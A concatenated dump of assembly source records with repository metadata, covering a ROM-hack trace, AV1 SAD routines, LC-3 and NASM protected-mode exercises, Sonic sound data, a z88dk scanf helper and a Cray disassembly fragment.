] | 1 | 2020-12-17T08:59:10.000Z | 2020-12-17T08:59:10.000Z | copyright zengfr site:http://github.com/zengfr/romhack
00042A move.l D1, (A0)+
00042C dbra D0, $42a
004D3E move.l D0, (A4)+
004D40 dbra D1, $4d38
0108EA move.w ($6c,A3), ($6e,A3) [enemy+ 2]
0108F0 move.w #$0, D7 [enemy+6E]
010A4E move.w ($6c,A3), ($6e,A3)
010A54 moveq #$0, D1 [enemy+6E]
0110C0 move.w ($6c,A3), ($6e,A3)
0110C6 moveq #$0, D1 [enemy+6E]
0111CC move.w ($6c,A3), ($6e,A3)
0111D2 move.b (A4)+, D1 [enemy+6E]
01140C move.w ($6c,A3), ($6e,A3)
011412 moveq #$0, D1 [enemy+6E]
0114FC move.w ($6c,A3), ($6e,A3)
011502 moveq #$0, D1 [enemy+6E]
011908 move.w ($6c,A3), ($6e,A3)
01190E move.b (A4)+, D1 [enemy+6E]
011BBA move.w ($6c,A3), ($6e,A3)
011BC0 moveq #$0, D1 [enemy+6E]
011F16 move.w ($6c,A3), ($6e,A3)
011F1C moveq #$0, D1 [enemy+6E]
012270 move.w ($6c,A3), ($6e,A3)
012276 moveq #$0, D1 [enemy+6E]
0123DA move.w ($6c,A3), ($6e,A3)
0123E0 moveq #$0, D1 [enemy+6E]
012556 move.w ($6c,A3), ($6e,A3)
01255C moveq #$0, D1 [enemy+6E]
016B6A move.w ($6e,A6), (A4)+ [123p+ 6A, enemy+6A]
016B6E move.w ($6c,A6), (A4)+ [123p+ 6E, enemy+6E]
016B9E move.w ($6e,A6), (A4)+ [123p+ 6A, enemy+6A]
016BA2 move.w ($6c,A6), (A4)+ [123p+ 6E, enemy+6E]
016BD2 move.w ($6e,A6), (A4)+ [123p+ 6A, enemy+6A]
016BD6 move.w ($6c,A6), (A4)+ [123p+ 6E, enemy+6E]
017200 move.w ($6e,A3), (A4)+ [enemy+6A]
017204 move.w ($6c,A3), (A4)+ [enemy+6E]
03144E move.w D0, ($6e,A6) [enemy+6C]
031452 rts [enemy+6E]
031E4C move.w D0, ($6e,A6) [enemy+6C]
031E50 rts [enemy+6E]
03263A move.w ($6e,A6), D0
03263E sub.w ($6c,A6), D0 [enemy+6E]
032666 move.w ($6c,A6), ($6e,A6)
03266C rts [enemy+6E]
043874 move.w ($6e,A6), D1
043878 beq $4388a [enemy+6E]
043880 clr.w ($6e,A6)
043884 jsr $a5ea.l [enemy+6E]
04D938 move.w #$1, ($6e,A6) [enemy+6C]
04D93E move.b #$a, ($78,A6) [enemy+6E]
05036A clr.w ($6e,A6)
05036E jsr $a5ea.l
0578D0 move.w #$1, ($6e,A6) [enemy+6C]
0578D6 move.b #$a, ($78,A6) [enemy+6E]
05A364 move.w ($6e,A6), D1
05A368 beq $5a374 [enemy+6E]
05A370 clr.w ($6e,A6)
05A374 jmp $2a606.l [enemy+6E]
05B07C move.w #$14, ($6e,A6) [enemy+6C]
05B082 bra $5b0ac [enemy+6E]
05B0A6 move.w #$14, ($6e,A6) [enemy+6C]
05B0AC move.l #$103000, ($44,A6) [enemy+6E]
05B95C move.w D0, ($6e,A6) [enemy+6C]
05B960 move.w D0, ($6a,A6) [enemy+6E]
05C40A move.w D0, ($6e,A6) [enemy+6C]
05C40E move.w D0, ($6a,A6) [enemy+6E]
0AAACA move.l (A0), D2
0AAACC move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAACE move.w D0, ($2,A0)
0AAAD2 cmp.l (A0), D0
0AAAD4 bne $aaafc
0AAAD8 move.l D2, (A0)+
0AAADA cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAAE6 move.l (A0), D2
0AAAE8 move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAAF4 move.l D2, (A0)+
0AAAF6 cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
copyright zengfr site:http://github.com/zengfr/romhack
| 50.231707 | 350 | 0.61714 |
d9cd5c4b803377844971d1d652a5e70eb71714b9 | 13,758 | asm | Assembly | aom_20170505/aom_dsp/x86/sad_ssse3.asm | rainliu/aom_analyzer | 440652d155140c00a2827512a54103be3d6ff7e4 | [
"MIT"
] | null | null | null | aom_20170505/aom_dsp/x86/sad_ssse3.asm | rainliu/aom_analyzer | 440652d155140c00a2827512a54103be3d6ff7e4 | [
"MIT"
] | null | null | null | aom_20170505/aom_dsp/x86/sad_ssse3.asm | rainliu/aom_analyzer | 440652d155140c00a2827512a54103be3d6ff7e4 | [
"MIT"
] | null | null | null | ;
; Copyright (c) 2016, Alliance for Open Media. All rights reserved
;
; This source code is subject to the terms of the BSD 2 Clause License and
; the Alliance for Open Media Patent License 1.0. If the BSD 2 Clause License
; was not distributed with this source code in the LICENSE file, you can
; obtain it at www.aomedia.org/license/software. If the Alliance for Open
; Media Patent License 1.0 was not distributed with this source code in the
; PATENTS file, you can obtain it at www.aomedia.org/license/patent.
;
;
%include "aom_ports/x86_abi_support.asm"
%macro PROCESS_16X2X3 1
%if %1
movdqa xmm0, XMMWORD PTR [rsi]
lddqu xmm5, XMMWORD PTR [rdi]
lddqu xmm6, XMMWORD PTR [rdi+1]
lddqu xmm7, XMMWORD PTR [rdi+2]
psadbw xmm5, xmm0
psadbw xmm6, xmm0
psadbw xmm7, xmm0
%else
movdqa xmm0, XMMWORD PTR [rsi]
lddqu xmm1, XMMWORD PTR [rdi]
lddqu xmm2, XMMWORD PTR [rdi+1]
lddqu xmm3, XMMWORD PTR [rdi+2]
psadbw xmm1, xmm0
psadbw xmm2, xmm0
psadbw xmm3, xmm0
paddw xmm5, xmm1
paddw xmm6, xmm2
paddw xmm7, xmm3
%endif
movdqa xmm0, XMMWORD PTR [rsi+rax]
lddqu xmm1, XMMWORD PTR [rdi+rdx]
lddqu xmm2, XMMWORD PTR [rdi+rdx+1]
lddqu xmm3, XMMWORD PTR [rdi+rdx+2]
lea rsi, [rsi+rax*2]
lea rdi, [rdi+rdx*2]
psadbw xmm1, xmm0
psadbw xmm2, xmm0
psadbw xmm3, xmm0
paddw xmm5, xmm1
paddw xmm6, xmm2
paddw xmm7, xmm3
%endmacro
%macro PROCESS_16X2X3_OFFSET 2
%if %1
movdqa xmm0, XMMWORD PTR [rsi]
movdqa xmm4, XMMWORD PTR [rdi]
movdqa xmm7, XMMWORD PTR [rdi+16]
movdqa xmm5, xmm7
palignr xmm5, xmm4, %2
movdqa xmm6, xmm7
palignr xmm6, xmm4, (%2+1)
palignr xmm7, xmm4, (%2+2)
psadbw xmm5, xmm0
psadbw xmm6, xmm0
psadbw xmm7, xmm0
%else
movdqa xmm0, XMMWORD PTR [rsi]
movdqa xmm4, XMMWORD PTR [rdi]
movdqa xmm3, XMMWORD PTR [rdi+16]
movdqa xmm1, xmm3
palignr xmm1, xmm4, %2
movdqa xmm2, xmm3
palignr xmm2, xmm4, (%2+1)
palignr xmm3, xmm4, (%2+2)
psadbw xmm1, xmm0
psadbw xmm2, xmm0
psadbw xmm3, xmm0
paddw xmm5, xmm1
paddw xmm6, xmm2
paddw xmm7, xmm3
%endif
movdqa xmm0, XMMWORD PTR [rsi+rax]
movdqa xmm4, XMMWORD PTR [rdi+rdx]
movdqa xmm3, XMMWORD PTR [rdi+rdx+16]
movdqa xmm1, xmm3
palignr xmm1, xmm4, %2
movdqa xmm2, xmm3
palignr xmm2, xmm4, (%2+1)
palignr xmm3, xmm4, (%2+2)
lea rsi, [rsi+rax*2]
lea rdi, [rdi+rdx*2]
psadbw xmm1, xmm0
psadbw xmm2, xmm0
psadbw xmm3, xmm0
paddw xmm5, xmm1
paddw xmm6, xmm2
paddw xmm7, xmm3
%endmacro
%macro PROCESS_16X16X3_OFFSET 2
%2_aligned_by_%1:
sub rdi, %1
PROCESS_16X2X3_OFFSET 1, %1
PROCESS_16X2X3_OFFSET 0, %1
PROCESS_16X2X3_OFFSET 0, %1
PROCESS_16X2X3_OFFSET 0, %1
PROCESS_16X2X3_OFFSET 0, %1
PROCESS_16X2X3_OFFSET 0, %1
PROCESS_16X2X3_OFFSET 0, %1
PROCESS_16X2X3_OFFSET 0, %1
jmp %2_store_off
%endmacro
%macro PROCESS_16X8X3_OFFSET 2
%2_aligned_by_%1:
sub rdi, %1
PROCESS_16X2X3_OFFSET 1, %1
PROCESS_16X2X3_OFFSET 0, %1
PROCESS_16X2X3_OFFSET 0, %1
PROCESS_16X2X3_OFFSET 0, %1
jmp %2_store_off
%endmacro
;void int aom_sad16x16x3_ssse3(
; unsigned char *src_ptr,
; int src_stride,
; unsigned char *ref_ptr,
; int ref_stride,
; int *results)
global sym(aom_sad16x16x3_ssse3) PRIVATE
sym(aom_sad16x16x3_ssse3):
push rbp
mov rbp, rsp
SHADOW_ARGS_TO_STACK 5
SAVE_XMM 7
push rsi
push rdi
push rcx
; end prolog
mov rsi, arg(0) ;src_ptr
mov rdi, arg(2) ;ref_ptr
mov rdx, 0xf
and rdx, rdi
jmp .aom_sad16x16x3_ssse3_skiptable
.aom_sad16x16x3_ssse3_jumptable:
dd .aom_sad16x16x3_ssse3_aligned_by_0 - .aom_sad16x16x3_ssse3_do_jump
dd .aom_sad16x16x3_ssse3_aligned_by_1 - .aom_sad16x16x3_ssse3_do_jump
dd .aom_sad16x16x3_ssse3_aligned_by_2 - .aom_sad16x16x3_ssse3_do_jump
dd .aom_sad16x16x3_ssse3_aligned_by_3 - .aom_sad16x16x3_ssse3_do_jump
dd .aom_sad16x16x3_ssse3_aligned_by_4 - .aom_sad16x16x3_ssse3_do_jump
dd .aom_sad16x16x3_ssse3_aligned_by_5 - .aom_sad16x16x3_ssse3_do_jump
dd .aom_sad16x16x3_ssse3_aligned_by_6 - .aom_sad16x16x3_ssse3_do_jump
dd .aom_sad16x16x3_ssse3_aligned_by_7 - .aom_sad16x16x3_ssse3_do_jump
dd .aom_sad16x16x3_ssse3_aligned_by_8 - .aom_sad16x16x3_ssse3_do_jump
dd .aom_sad16x16x3_ssse3_aligned_by_9 - .aom_sad16x16x3_ssse3_do_jump
dd .aom_sad16x16x3_ssse3_aligned_by_10 - .aom_sad16x16x3_ssse3_do_jump
dd .aom_sad16x16x3_ssse3_aligned_by_11 - .aom_sad16x16x3_ssse3_do_jump
dd .aom_sad16x16x3_ssse3_aligned_by_12 - .aom_sad16x16x3_ssse3_do_jump
dd .aom_sad16x16x3_ssse3_aligned_by_13 - .aom_sad16x16x3_ssse3_do_jump
dd .aom_sad16x16x3_ssse3_aligned_by_14 - .aom_sad16x16x3_ssse3_do_jump
dd .aom_sad16x16x3_ssse3_aligned_by_15 - .aom_sad16x16x3_ssse3_do_jump
.aom_sad16x16x3_ssse3_skiptable:
call .aom_sad16x16x3_ssse3_do_jump
.aom_sad16x16x3_ssse3_do_jump:
pop rcx ; get the address of do_jump
mov rax, .aom_sad16x16x3_ssse3_jumptable - .aom_sad16x16x3_ssse3_do_jump
add rax, rcx ; get the absolute address of aom_sad16x16x3_ssse3_jumptable
movsxd rax, dword [rax + 4*rdx] ; get the 32 bit offset from the jumptable
add rcx, rax
movsxd rax, dword ptr arg(1) ;src_stride
movsxd rdx, dword ptr arg(3) ;ref_stride
jmp rcx
PROCESS_16X16X3_OFFSET 0, .aom_sad16x16x3_ssse3
PROCESS_16X16X3_OFFSET 1, .aom_sad16x16x3_ssse3
PROCESS_16X16X3_OFFSET 2, .aom_sad16x16x3_ssse3
PROCESS_16X16X3_OFFSET 3, .aom_sad16x16x3_ssse3
PROCESS_16X16X3_OFFSET 4, .aom_sad16x16x3_ssse3
PROCESS_16X16X3_OFFSET 5, .aom_sad16x16x3_ssse3
PROCESS_16X16X3_OFFSET 6, .aom_sad16x16x3_ssse3
PROCESS_16X16X3_OFFSET 7, .aom_sad16x16x3_ssse3
PROCESS_16X16X3_OFFSET 8, .aom_sad16x16x3_ssse3
PROCESS_16X16X3_OFFSET 9, .aom_sad16x16x3_ssse3
PROCESS_16X16X3_OFFSET 10, .aom_sad16x16x3_ssse3
PROCESS_16X16X3_OFFSET 11, .aom_sad16x16x3_ssse3
PROCESS_16X16X3_OFFSET 12, .aom_sad16x16x3_ssse3
PROCESS_16X16X3_OFFSET 13, .aom_sad16x16x3_ssse3
PROCESS_16X16X3_OFFSET 14, .aom_sad16x16x3_ssse3
.aom_sad16x16x3_ssse3_aligned_by_15:
PROCESS_16X2X3 1
PROCESS_16X2X3 0
PROCESS_16X2X3 0
PROCESS_16X2X3 0
PROCESS_16X2X3 0
PROCESS_16X2X3 0
PROCESS_16X2X3 0
PROCESS_16X2X3 0
.aom_sad16x16x3_ssse3_store_off:
mov rdi, arg(4) ;Results
movq xmm0, xmm5
psrldq xmm5, 8
paddw xmm0, xmm5
movd [rdi], xmm0
;-
movq xmm0, xmm6
psrldq xmm6, 8
paddw xmm0, xmm6
movd [rdi+4], xmm0
;-
movq xmm0, xmm7
psrldq xmm7, 8
paddw xmm0, xmm7
movd [rdi+8], xmm0
; begin epilog
pop rcx
pop rdi
pop rsi
RESTORE_XMM
UNSHADOW_ARGS
pop rbp
ret
;void int aom_sad16x8x3_ssse3(
; unsigned char *src_ptr,
; int src_stride,
; unsigned char *ref_ptr,
; int ref_stride,
; int *results)
global sym(aom_sad16x8x3_ssse3) PRIVATE
sym(aom_sad16x8x3_ssse3):
push rbp
mov rbp, rsp
SHADOW_ARGS_TO_STACK 5
SAVE_XMM 7
push rsi
push rdi
push rcx
; end prolog
mov rsi, arg(0) ;src_ptr
mov rdi, arg(2) ;ref_ptr
mov rdx, 0xf
and rdx, rdi
jmp .aom_sad16x8x3_ssse3_skiptable
.aom_sad16x8x3_ssse3_jumptable:
dd .aom_sad16x8x3_ssse3_aligned_by_0 - .aom_sad16x8x3_ssse3_do_jump
dd .aom_sad16x8x3_ssse3_aligned_by_1 - .aom_sad16x8x3_ssse3_do_jump
dd .aom_sad16x8x3_ssse3_aligned_by_2 - .aom_sad16x8x3_ssse3_do_jump
dd .aom_sad16x8x3_ssse3_aligned_by_3 - .aom_sad16x8x3_ssse3_do_jump
dd .aom_sad16x8x3_ssse3_aligned_by_4 - .aom_sad16x8x3_ssse3_do_jump
dd .aom_sad16x8x3_ssse3_aligned_by_5 - .aom_sad16x8x3_ssse3_do_jump
dd .aom_sad16x8x3_ssse3_aligned_by_6 - .aom_sad16x8x3_ssse3_do_jump
dd .aom_sad16x8x3_ssse3_aligned_by_7 - .aom_sad16x8x3_ssse3_do_jump
dd .aom_sad16x8x3_ssse3_aligned_by_8 - .aom_sad16x8x3_ssse3_do_jump
dd .aom_sad16x8x3_ssse3_aligned_by_9 - .aom_sad16x8x3_ssse3_do_jump
dd .aom_sad16x8x3_ssse3_aligned_by_10 - .aom_sad16x8x3_ssse3_do_jump
dd .aom_sad16x8x3_ssse3_aligned_by_11 - .aom_sad16x8x3_ssse3_do_jump
dd .aom_sad16x8x3_ssse3_aligned_by_12 - .aom_sad16x8x3_ssse3_do_jump
dd .aom_sad16x8x3_ssse3_aligned_by_13 - .aom_sad16x8x3_ssse3_do_jump
dd .aom_sad16x8x3_ssse3_aligned_by_14 - .aom_sad16x8x3_ssse3_do_jump
dd .aom_sad16x8x3_ssse3_aligned_by_15 - .aom_sad16x8x3_ssse3_do_jump
.aom_sad16x8x3_ssse3_skiptable:
call .aom_sad16x8x3_ssse3_do_jump
.aom_sad16x8x3_ssse3_do_jump:
pop rcx ; get the address of do_jump
mov rax, .aom_sad16x8x3_ssse3_jumptable - .aom_sad16x8x3_ssse3_do_jump
add rax, rcx ; get the absolute address of aom_sad16x8x3_ssse3_jumptable
movsxd rax, dword [rax + 4*rdx] ; get the 32 bit offset from the jumptable
add rcx, rax
movsxd rax, dword ptr arg(1) ;src_stride
movsxd rdx, dword ptr arg(3) ;ref_stride
jmp rcx
PROCESS_16X8X3_OFFSET 0, .aom_sad16x8x3_ssse3
PROCESS_16X8X3_OFFSET 1, .aom_sad16x8x3_ssse3
PROCESS_16X8X3_OFFSET 2, .aom_sad16x8x3_ssse3
PROCESS_16X8X3_OFFSET 3, .aom_sad16x8x3_ssse3
PROCESS_16X8X3_OFFSET 4, .aom_sad16x8x3_ssse3
PROCESS_16X8X3_OFFSET 5, .aom_sad16x8x3_ssse3
PROCESS_16X8X3_OFFSET 6, .aom_sad16x8x3_ssse3
PROCESS_16X8X3_OFFSET 7, .aom_sad16x8x3_ssse3
PROCESS_16X8X3_OFFSET 8, .aom_sad16x8x3_ssse3
PROCESS_16X8X3_OFFSET 9, .aom_sad16x8x3_ssse3
PROCESS_16X8X3_OFFSET 10, .aom_sad16x8x3_ssse3
PROCESS_16X8X3_OFFSET 11, .aom_sad16x8x3_ssse3
PROCESS_16X8X3_OFFSET 12, .aom_sad16x8x3_ssse3
PROCESS_16X8X3_OFFSET 13, .aom_sad16x8x3_ssse3
PROCESS_16X8X3_OFFSET 14, .aom_sad16x8x3_ssse3
.aom_sad16x8x3_ssse3_aligned_by_15:
PROCESS_16X2X3 1
PROCESS_16X2X3 0
PROCESS_16X2X3 0
PROCESS_16X2X3 0
.aom_sad16x8x3_ssse3_store_off:
mov rdi, arg(4) ;Results
movq xmm0, xmm5
psrldq xmm5, 8
paddw xmm0, xmm5
movd [rdi], xmm0
;-
movq xmm0, xmm6
psrldq xmm6, 8
paddw xmm0, xmm6
movd [rdi+4], xmm0
;-
movq xmm0, xmm7
psrldq xmm7, 8
paddw xmm0, xmm7
movd [rdi+8], xmm0
; begin epilog
pop rcx
pop rdi
pop rsi
RESTORE_XMM
UNSHADOW_ARGS
pop rbp
ret
| 36.786096 | 96 | 0.551897 |
3d7fafc25ff3c44c0689a5c2cf6125eac04ba7dd | 1,364 | asm | Assembly | Draw.asm | mbartling/lc3Game | 438bf401f788f22e93ff5163b5460dfea4fbfe6d | [
"MIT"
] | 1 | 2018-07-07T05:12:29.000Z | 2018-07-07T05:12:29.000Z | Draw.asm | mbartling/lc3Game | 438bf401f788f22e93ff5163b5460dfea4fbfe6d | [
"MIT"
] | null | null | null | Draw.asm | mbartling/lc3Game | 438bf401f788f22e93ff5163b5460dfea4fbfe6d | [
"MIT"
] | null | null | null | .ORIG x3700
;void Draw(void)
; Draws the game map
; Inputs: None
; Outputs: None
DRAW
;Push to stack
STR R7, R6, #0
STR R1, R6, #-1
STR R2, R6, #-2
ADD R6, R6, #-3
;Load The Map address
LEA R0, MAP
LDR R2, R0, #0 ;ptr = &map[0] ; Make R2 a pointer to the start of map
;Draw
; PUTS
;----------------------------------------------------------
;Lets make the draw routine a little smarter
;by adding spaces between each character
LD R1, MAP_SIZE ; i = Map size
;----------------------------------------------------------
; while(i != 0){
; i = i - 1;
; c = *ptr;
;
; ptr++;
;
; putc(c)
; if(c != '\n') putc(space);
;
; }
;----------------------------------------------------------
LOOP ADD R1, R1, #-1
BRz Done
;putc(c)
LDR R0, R2, #0
OUT
ADD R2, R2, #1 ; ptr++
;If(c != n) print(space)
NOT R0, R0
ADD R0, R0, #1
ADD R0, R0, #10 ;10 = '\n'
BRz LOOP
LD R0, EMPTY_SPACE ; Insert an empty space
OUT
OUT
BRnzp LOOP
Done AND R0, R0, #0
ADD R0, R0, xA
OUT
OUT
;Pop From Stack
ADD R6, R6, #3
LDR R2, R6, #-2
LDR R1, R6, #-1
LDR R7, R6, #0
RET
;End of Draw()
MAP .FILL x3600
MAP_SIZE .FILL #90
EMPTY_SPACE .FILL x20
;NEW_LINE .FILL xA
.END
| 17.487179 | 74 | 0.434018 |
5cc87e85fd884597664e31f7a1e36693939774fb | 2,555 | asm | Assembly | chapter03/pmtest2.asm | 12Tall/os | b4967f8c52aaaa452de1b914a9c9d4a1a8c87e08 | [
"MIT"
] | null | null | null | chapter03/pmtest2.asm | 12Tall/os | b4967f8c52aaaa452de1b914a9c9d4a1a8c87e08 | [
"MIT"
] | null | null | null | chapter03/pmtest2.asm | 12Tall/os | b4967f8c52aaaa452de1b914a9c9d4a1a8c87e08 | [
"MIT"
] | null | null | null | %include "pm.inc"
org 07c00h
jmp LABEL_BEGIN
[section .gdt]
; ==========================================================
;
; gdt table
; ----------------------------------------------------------
LABEL_GDT: Descriptor 0, 0, 0 ; empty
LABEL_DESC_NORMAL: Descriptor 0, 0ffffh, DA_DRW ; Normal section Descriptor
;LABEL_DESC_CODE32: Descriptor 0, SegCode32Len -1,DA_C+DA_32 ; uncoordinate code32 section
LABEL_DESC_CODE16: Descriptor 0, 0ffffh, DA_C ; uncoordinate code16 section
;LABEL_DESC_DATA: Descriptor 0, DataLen-1, DA_DRW ; data
;LABEL_DESC_STACK: Descriptor 0, TopOfStack, DA_DRWA+DA_32 ; stack32
LABEL_DESC_TEST: Descriptor 050000h, 0ffffh, DA_DRW ; test section over 1M
LABEL_DESC_VIDEO: Descriptor 0B0000h, 0ffffh, DA_DRW ; video cache
; ----------------------------------------------------------
;
; gdt ponitor
; ----------------------------------------------------------
GdtLen equ $ - LABEL_GDT ; length of gdt
GdtPtr dw GdtLen - 1 ; limit of gdt
dd 0 ; base of gdt
; ----------------------------------------------------------
;
; gdt selector, just constant
; ----------------------------------------------------------
SelectorNormal equ LABEL_DESC_NORMAL - LABEL_GDT
;SelectorCode32 equ LABEL_DESC_CODE32 - LABEL_GDT
SelectorCode16 equ LABEL_DESC_CODE16 - LABEL_GDT
;SelectorData equ LABEL_DESC_DATA - LABEL_GDT
;SelectorStack equ LABEL_DESC_STACK - LABEL_GDT
SelectorTest equ LABEL_DESC_TEST - LABEL_GDT
SelectorVideo equ LABEL_DESC_VIDEO - LABEL_GDT
; ==========================================================
[section .data1 align=32]
[BITS 32]
; ==========================================================
LABEL_DATA:
SPValueInRealMode dw 0
PMMessage: db "In Protect Mode now. ^-^", 0
OffsetPMMessage equ PMMessage - $$
StrTest db "ABCDEFGHIJKLMNOPQRSTUVWXYZ", 0
OffsetStrTest equ StrTest - $$
DataLen equ $ - LABEL_DATA
; ==========================================================
[section .gs align=32]
[BITS 32]
; ==========================================================
LABEL_STACK:
times 320 db 0
TopOfStack equ $ - LABEL_STACK -1
[section .s16]
[BITS 16]
; ===================================================
LABEL_BEGIN:
jmp $
; =================================================== | 38.712121 | 106 | 0.4591 |
0b7f0f73f12d81576baa85e757e2d3966f83193f | 634 | asm | Assembly | oeis/168/A168579.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/168/A168579.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/168/A168579.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A168579: G.f.: 1/(1-x-16*x^2).
; Submitted by Jon Maiga
; 1,1,17,33,305,833,5713,19041,110449,415105,2182289,8823969,43740593,184924097,884773585,3843559137,17999936497,79496882689,367495866641,1639445989665,7519379855921,33750515690561,154060593385297,694068844434273,3159038338599025,14264139849547393,64808753267131793,293034990859890081,1329975043133998769,6018534896892240065,27298135587036220369,123594693937312061409,560364863329891587313,2537879966326884569857,11503717779605149966865,52109797240835303084577,236169281714517702554417
mov $3,1
lpb $0
sub $0,1
mov $2,$3
add $3,$1
mov $1,16
mul $1,$2
lpe
mov $0,$3
| 45.285714 | 485 | 0.828076 |
c32362c3fe6f279e4b67d93e4760e812fa2cc673 | 753 | asm | Assembly | sound/sfxasm/5F.asm | NatsumiFox/Sonic-3-93-Nov-03 | 032e4fc25f243636d458639c4a4311caca898f96 | [
"MIT"
] | 7 | 2019-12-05T00:35:57.000Z | 2022-02-27T20:00:33.000Z | sound/sfxasm/5F.asm | NatsumiFox/Sonic-3-93-Nov-03 | 032e4fc25f243636d458639c4a4311caca898f96 | [
"MIT"
] | null | null | null | sound/sfxasm/5F.asm | NatsumiFox/Sonic-3-93-Nov-03 | 032e4fc25f243636d458639c4a4311caca898f96 | [
"MIT"
] | null | null | null | 5F_Header:
sHeaderInit ; Z80 offset is $C794
sHeaderPatch 5F_Patches
sHeaderTick $01
sHeaderCh $01
sHeaderSFX $80, $02, 5F_FM3, $D9, $00
5F_FM3:
sPatFM $00
ssModZ80 $01, $01, $09, $00
dc.b nEb3, $30, sHold
sModOff
dc.b nC4, $70
sStop
5F_Patches:
; Patch $00
; $04
; $2F, $07, $06, $00, $17, $17, $07, $17
; $00, $00, $00, $00, $00, $00, $00, $00
; $0F, $0F, $0F, $0F, $30, $80, $20, $80
spAlgorithm $04
spFeedback $00
spDetune $02, $00, $00, $00
spMultiple $0F, $06, $07, $00
spRateScale $00, $00, $00, $00
spAttackRt $17, $07, $17, $17
spAmpMod $00, $00, $00, $00
spSustainRt $00, $00, $00, $00
spSustainLv $00, $00, $00, $00
spDecayRt $00, $00, $00, $00
spReleaseRt $0F, $0F, $0F, $0F
spTotalLv $30, $20, $00, $00
| 21.514286 | 41 | 0.583001 |
ad2199a3355e77416634f165349eee79a6a8ffac | 364 | asm | Assembly | libsrc/stdio/__scanf_parse_number.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 38 | 2021-06-18T12:56:15.000Z | 2022-03-12T20:38:40.000Z | libsrc/stdio/__scanf_parse_number.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 2 | 2021-06-20T16:28:12.000Z | 2021-11-17T21:33:56.000Z | libsrc/stdio/__scanf_parse_number.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 6 | 2021-06-18T18:18:36.000Z | 2021-12-22T08:01:32.000Z |
MODULE __scanf_parse_number
SECTION code_clib
PUBLIC __scanf_parse_number
EXTERN __scanf_ungetchar
EXTERN __scanf_get_number
EXTERN scanf_loop
; Entry:
; a = first character of number
; hl = format string
; ix = scanf frame
__scanf_parse_number:
call __scanf_ungetchar
call __scanf_get_number
jp scanf_loop
| 20.222222 | 34 | 0.714286 |
5cc06bc2cb3f526f09e0bb808fc60bcd903bb442 | 43,744 | asm | Assembly | target/cos_117/disasm/iop_overlay1/COMM04.asm | jrrk2/cray-sim | 52c9639808d6890517092637b188282c00cce4f7 | [
"BSL-1.0"
] | 49 | 2020-10-09T12:29:16.000Z | 2022-03-12T02:33:35.000Z | target/cos_117/disasm/iop_overlay1/COMM04.asm | jrrk2/cray-sim | 52c9639808d6890517092637b188282c00cce4f7 | [
"BSL-1.0"
] | 1 | 2021-12-29T15:59:25.000Z | 2021-12-29T15:59:25.000Z | target/cos_117/disasm/iop_overlay1/COMM04.asm | jrrk2/cray-sim | 52c9639808d6890517092637b188282c00cce4f7 | [
"BSL-1.0"
] | 6 | 2021-04-12T06:10:32.000Z | 2022-02-08T23:11:19.000Z | 0x0000 (0x000000) 0x700A- f:00070 d: 10 | P = P + 10 (0x000A)
0x0001 (0x000002) 0x002A- f:00000 d: 42 | PASS | **** non-standard encoding with D:0x002A ****
0x0002 (0x000004) 0x0030- f:00000 d: 48 | PASS | **** non-standard encoding with D:0x0030 ****
0x0003 (0x000006) 0x009C- f:00000 d: 156 | PASS | **** non-standard encoding with D:0x009C ****
0x0004 (0x000008) 0x00C1- f:00000 d: 193 | PASS | **** non-standard encoding with D:0x00C1 ****
0x0005 (0x00000A) 0x00EC- f:00000 d: 236 | PASS | **** non-standard encoding with D:0x00EC ****
0x0006 (0x00000C) 0x0135- f:00000 d: 309 | PASS | **** non-standard encoding with D:0x0135 ****
0x0007 (0x00000E) 0x01A0- f:00000 d: 416 | PASS | **** non-standard encoding with D:0x01A0 ****
0x0008 (0x000010) 0x01E9- f:00000 d: 489 | PASS | **** non-standard encoding with D:0x01E9 ****
0x0009 (0x000012) 0x00B7- f:00000 d: 183 | PASS | **** non-standard encoding with D:0x00B7 ****
0x000A (0x000014) 0x1008- f:00010 d: 8 | A = 8 (0x0008)
0x000B (0x000016) 0x2718- f:00023 d: 280 | A = A - OR[280]
0x000C (0x000018) 0x800A- f:00100 d: 10 | P = P + 10 (0x0016), C = 0
0x000D (0x00001A) 0x2118- f:00020 d: 280 | A = OR[280]
